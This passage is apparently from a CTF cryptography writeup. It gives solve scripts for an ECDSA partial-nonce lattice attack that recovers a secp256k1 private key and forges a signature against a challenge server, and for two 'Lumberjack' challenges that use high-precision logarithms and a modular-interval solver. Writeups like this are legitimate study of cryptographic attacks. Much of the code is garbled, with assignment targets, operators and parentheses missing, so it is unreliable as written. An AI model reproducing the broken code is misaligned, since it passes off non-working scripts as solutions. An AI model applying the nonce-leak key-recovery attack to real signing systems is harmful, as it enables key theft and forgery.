        ub[i] *= ineq_weight
 
    # Solve CVP
    target = vector([(lb[i] + ub[i]) // 2 for i in range(num_ineq)])
    result = Babai_CVP(mat, target)
 
    print(result[num_ineq - 1- target[num_ineq-1])
 
    for i in range(num_ineq):
        if (lb[i] <= result[i] <= ub[i]) == False:
            print("Fail : inequality does not hold after solving")
            break
    
        # recover x
    fin = None
 
    if DET != 0:
        mat = mat.transpose()
        fin = mat.solve_right(result)
    
    ## recover your result
    return result, applied_weights, fin
 
 
 
 
= remote('34.146.212.53'35719)
 
= (1 << 256- (1 << 32- (1 << 9- (1 << 8- (1 << 7- (1 << 6- (1 << 4- 1
 
= EllipticCurve(GF(p), [07])
Gx = 0x79BE667EF9DCBBAC55A06295CE870B07029BFCDB2DCE28D959F2815B16F81798
Gy = 0x483ADA7726A3C4655DA4FBFC0E1108A8FD17B448A68554199C47D08FFB10D4B8
 
= E(Gx, Gy)
= E.order()
print(isPrime(n))
 
h1 = bytes_to_long(hashlib.sha256(b'Baba').digest())
h2 = bytes_to_long(hashlib.sha256(b'Flag').digest())
 
= []
= []
for _ in range(4):
    for i in range(3):
        r.recvline()
    r.sendline(b"1")
    r.recvline()
    X.append(int(r.recvline().split()[-1]))
    S.append(int(r.recvline().split()[-1]))
 
NUM_EQ = 4
test = False
 
= 26
 
supp = []
if test:
    d = rand.randint(1, n)
    for i in range(NUM_EQ):
        cc = []
        k = 0
        for j in range(2 * D):
            if j % 2 == 0:
                u = rand.randint(09)
                supp.append(u)
                k += u * (16 ** j)
                cc.append(u)
            else:
                k += 3 * (16 ** j)
        x = int((k * G).xy()[0])
        s = ((h1 + x * d) * inverse(k, n)) % n 
        X[i] = x
        S[i] = s 
    supp.append(d)
 
print(supp)
= Matrix(ZZ, 2 * D + 12 * D + 1)
lb = [0* (2 * D + 1)
ub = [0* (2 * D + 1
 
base_k = 0
for i in range(D):
    base_k += 3 * 16 * (256 ** i)
 
for i in range(2 * D):
    M[i, i] = 1
    lb[i] = 0
    ub[i] = 16 
 
for i in range(D):
    M[i, 2 * D] = int(((256 ** i) * (S[0* X[1])) % n)
    M[i + D, 2 * D] = int(n - ((256 ** i) * (S[1* X[0])) % n) 
    M[2 * D, 2 * D] = int(n)
    lb[2 * D] = int((h1 * (X[1- X[0]) - base_k * S[0* X[1+ base_k * S[1* X[0]) % n)
    ub[2 * D] = int((h1 * (X[1- X[0]) - base_k * S[0* X[1+ base_k * S[1* X[0]) % n)
 
 
result, applied_weights, fin = solve(M, lb, ub)
print(fin)
 
k0 = base_k 
for i in range(26):
    k0 += (256 ** i) * int(fin[i]) 
 
= (inverse(X[0], n) * (k0 * S[0- h1)) % n 
 
= Gx 
= (h2 + x * d) % n 
 
for i in range(3):
    print(r.recvline())
r.sendline(b"2")
r.sendline(b"Flag")
r.sendline(str(x))
r.sendline(str(s))
print(r.recvline())
print(r.recvline())
print(r.recvline())
cs

 

Lumberjack in Nature

1
2
3
4
5
6
7
8
9
10
11
12
from mpmath import mp, power, ln
import json
 
mp.dps = 1000000000
 
def decode(enc):
    return int(power(2, enc * ln(2)))
 
s, e = json.load(open('encoded.json'))
flag = decode(s << e)
 
print(flag.to_bytes((flag.bit_length() + 7// 8'big')[:74])
cs

 

To solve this problem, we need to know the higher bits of $$2^{s \cdot 2^e \cdot \ln 2}$$ where $e = 13371337$ is very large. This is equivalent to finding the decimal part of $s \cdot 2^e \cdot \ln 2$ to a very high precision. 

 

Since you need the decimal part, and $2^e$ is very large, if we want to do direct computation we would need at least $10^7$ binary digits of precision, which seems like too much to handle, even for SageMath. We would like the computation to be easier to do.

 

UPDATE : Never underestimate SageMath! Using $2 \cdot 10^7$ binary digits of precision works very well and fast.

 

The key idea is to approximate $\ln 2$ using the Taylor series $$\ln 2 = \sum_{n=1}^\infty \frac{1}{2^n n}$$ This implies that $$s \cdot 2^e \cdot \ln 2 = \sum_{n=1}^\infty \frac{s 2^{e-n}}{n}$$ and we can compute the decimal part of this as follows. We will sum from $n=1$ to $n=14000000$ as it is enough for precision.

  • If $e > n$, then compute $r = s \cdot 2^{e-n} \pmod{n}$ and add $r/n$ to the sum
  • If $n \le e \le n+600$, then compute $r = s \pmod{n \cdot 2^{n-e}}$ and add $r / (n \cdot 2^{n-e})$ to the sum
  • If $e > n+600$, then add $s / (n \cdot 2^{n-e})$ to the sum 
  • After each addition, if the value is larger than $1$, subtract $1$ from it

This is enough to compute the decimal part of $s \cdot 2^e \cdot \ln(2)$ with $10^4$ bits of precision in a few minutes. 

 

Now we can compute the higher bits of $2^{s \cdot 2^e \cdot \ln(2)}$ as well, and shift it and make it into bytes to get our flag.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
= RealField(10000)
s, e = 164407670104841080073659804452195762116507500922004735359869590815479854557466921362882298301347813164513610782999110714796659202306480268420598493560455658097643208225514854976313371337
print(s.bit_length())
 
res = R(0)
 
for i in tqdm(range(114000000)):
    # s / i* 2^(e-i)
    if i <= e:
        cc = int(  (s * int(pow(2, e - i, i)) ) % i )
        res += R(cc) / R(i)
    elif i <= e + 600:
        cc = s % (i * pow(2, i-e))
        res += R(cc) / R(i * (R(2** (i - e)))
    else:
        res += R(s) / R(i * (R(2** (i - e)))
    if res >= R(1):
        res -= R(1)
    
print(res)
res = R(2** res
 
for i in range(70 * 880 * 8):
    cc = int(res * R(2 ** i))
    print(cc.to_bytes((cc.bit_length() + 7// 8'big'))
cs

 

Lumberjack Against Nature

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from mpmath import power, ln
from random import SystemRandom
from string import ascii_letters
from signal import alarm
 
from secret import decode_fast, flag
 
alarm(10)
 
def to_string(number):
    return number.to_bytes((number.bit_length() + 7// 8'big')[:74]
def decode(enc):
    return to_string(int(power(2, enc * ln(2))))
 
assert(decode(1337 << 5== decode_fast(13375))
 
 
plaintext = ''.join(SystemRandom().choice(ascii_letters) for _ in range(74)).encode()
= 13371337
 
print(f'decode(s << {e}) == {plaintext}')
= int(input('s = ? '))
 
if 0 < s < 2 ** (75 * 8and decode_fast(s, e) == plaintext:
    print(f'Congrats! {flag}')
else:
    print(":P")
 
cs

 

Now we have to go around. Denote the decimal term of $2^{13371337} \cdot \ln(2)$ as $t$, and the target plaintext viewed as a integer as $v$.

 

We want to find an $0 \le s < 2^{600}$ such that $$2^{s \cdot t - z} \approx v$$ for some integer $z$. To solve this, we take the logarithm again and multiply $2^{5000}$, giving us $$s \cdot \lfloor 2^{5000} t \rfloor - 2^{5000} z \approx \lfloor \log_2(v) \cdot 2^{5000} \rfloor$$ It's clear that we can compute the two values $$T = \lfloor 2^{5000} t \rfloor , \quad V = \lfloor \log_2(v) \cdot 2^{5000} \rfloor$$ using the methods described in the challenge above and arbitrary precision logarithms from SageMath. Now we want something like $$ sT \pmod{2^{5000}} \approx V \pmod{2^{5000}}$$ If we plug in the values of the challenge above, we see that $$ V - 2^{4409} \pmod{2^{5000}} \le sT \pmod{2^{5000}} \le V + 2^{4409} \pmod{2^{5000}}$$ Here, note that $$L \pmod{M} \le x \pmod{M} \le R \pmod{M}$$ should be regarded as $x$ lies in the clockwise strip from $L$ to $R$ in a clock divided into $M$ pieces. Check the link below. 

 

Anyways, it's now clear that we want to solve the system $$0 \le s < 2^{600}, \quad V - 2^{4409} \pmod{2^{5000}} \le sT \pmod{2^{5000}} \le V + 2^{4409} \pmod{2^{5000}}$$ which is possible with the "special case variation" of the CVP repository. This will give around $2^{10}$ candidates for $s$. 

 

Since we have already precomputed $t$ and $T$, we can check the validity of each $s$ very easily.

While this solution works with a relatively low probability, it still works well enough to first blood this challenge. :)

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
def ceil(n, m): # returns ceil(n/m)
    return (n + m - 1// m
 
def is_inside(L, R, M, val): # is L <= val <= R in mod M context?
    if L <= R:
        return L <= val <= R
    else:
        R += M
        if L <= val <= R:
            return True
        if L <= val + M <= R:
            return True 
        return False
 
## some notes : it's good idea to check for gcd(A, M) = 1
## in CTF context, if gcd(A, M) != 1, we can factorize M and sometimes we can solve the challenge
## in competitive programming context, we need to check gcd(A, M) = 1 and decide whether solution even exists..
def optf(A, M, L, R): # minimum nonnegative x s.t. L <= Ax mod M <= R
    if L == 0:
        return 0
    if 2 * A > M:
        L, R = R, L
        A, L, R = M - A, M - L, M - R
    cc_1 = ceil(L, A)
    if A * cc_1 <= R:
        return cc_1
    cc_2 = optf(A - M % A, A, L % A, R % A)
    return ceil(L + M * cc_2, A)
 
# check if L <= Ax (mod M) <= R has a solution
def sol_ex(A, M, L, R):
    if L == 0 or L > R:
        return True
    g = GCD(A, M)
    if (L - 1// g == R // g:
        return False
    return True
 
## find all solutions for L <= Ax mod M <= R, S <= x <= E:
def solve(A, M, L, R, S, E):
    # this is for estimate only : if very large, might be a bad idea to run this
    # print("Expected Number of Solutions : ", ((E - S + 1) * (R - L + 1)) // M + 1)
    if sol_ex(A, M, L, R) == False:
        return []
    cur = S - 1
    ans = []
    num_sol = 0
    while cur <= E:
        NL = (L - A * (cur + 1)) % M
        NR = (R - A * (cur + 1)) % M
        if NL > NR:
            cur += 1
        else:
            val = optf(A, M, NL, NR)
            cur += 1 + val
        if cur <= E:
            ans.append(cur)
            # remove assert for performance if needed
            assert is_inside(L, R, M, (A * cur) % M)
            num_sol += 1
    print("Actual Number of Solutions : ", num_sol)
    return ans
 
= RealField(10000)
s, e = 113371337
res = R(0)
 
for i in tqdm(range(114000000)):
    # s / i* 2^(e-i)
    if i <= e:
        cc = int(  (s * int(pow(2, e - i, i)) ) % i )
        res += R(cc) / R(i)
    elif i <= e + 600:
        cc = s % (i * pow(2, i-e))
        res += R(cc) / R(i * (R(2** (i - e)))
    else:
        res += R(s) / R(i * (R(2** (i - e)))
    if res >= R(1):
        res -= R(1)
 
= int(res * R(2 ** 5000))
print(v)
 
sys.setrecursionlimit(10 ** 6)
 
while True:
    r = remote('34.146.212.53'53928)
    s = r.recvline()
    print(s)
    s = s[-76:-2]
    print(s)
 
    cc = bytes_to_long(s)
    res = R(cc).log() / R(2).log()
    res = int(res * R(2 ** 5000))
 
    # enc * v - integer * 2^5000 = ln_2(val) * 2^5000
    # enc * v - integer * 2^5000 = res 
    fin = solve(v, 1 << 5000, (res - (1 << 4409)) % (1 << 5000), (res + (1 << 4409)) % (1 << 5000), 01 << 600)
    dec = R(v) / R(2 ** 5000)
 
    finished = False
    for cand in fin:
        if finished:
            break
        val = dec * R(cand)
        val = val - val.floor()
        val = R(2** val
        for i in range(70 * 880 * 8):
            flag = int(val * R(2 ** i))
            flag = flag.to_bytes((flag.bit_length() + 7// 8'big')
            if s == flag[:74]:
                print(s)
                print(cand.bit_length())
                print(flag)
                print(cand)
                r.sendline(str(cand))
                ff = r.recvline()
                if b"? :P" in ff:
                    finished = True
                    break
                else:
                    print(ff)
    r.close()
cs

'CTF' 카테고리의 다른 글

N1CTF 2021 Writeups  (1) 2021.11.22
PBCTF 2021 Writeups  (0) 2021.10.13
DUCTF 2021 Writeups  (0) 2021.09.26
ACSC Crypto Writeups  (0) 2021.09.26
CryptoCTF Writeups (DoRSA, Polish)  (0) 2021.08.05